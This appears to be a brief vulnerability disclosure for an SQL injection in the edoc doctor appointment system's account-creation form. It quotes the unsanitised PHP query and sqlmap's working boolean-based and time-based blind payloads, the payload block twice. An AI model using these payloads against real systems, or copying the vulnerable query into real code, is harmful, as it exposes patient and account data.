SQL injection vulnerability exists in newmail parameter of create-account.php file of edoc doctor appointment system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
if ($newpassword==$cpassword){
    $result= $database->query("select * from webuser where email='$email';");
```

```
sqlmap identified the following injection point(s) with a total of 287 HTTP(s) requests:
---
Parameter: newemail (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: newemail=123@123.com' AND 4258=4258-- VXWJ&tele=0712345678&newpassword=123&cpassword=123

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: newemail=123@123.com' AND (SELECT 5428 FROM (SELECT(SLEEP(5)))bOLj)-- lHsV&tele=0712345678&newpassword=
123&cpassword=123
---
```

“

Parameter: newemail (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: newemail=123@123.com' AND 4258=4258-- VXWJ&tele=0712345678&newpassword=123&cpassword=123

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: newemail=123@123.com' AND (SELECT 5428 FROM (SELECT(SLEEP(5)))bOLj)-- lHsV&tele=0712345678&newpassword=123&cpassword=123

“

Source Download：

https://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html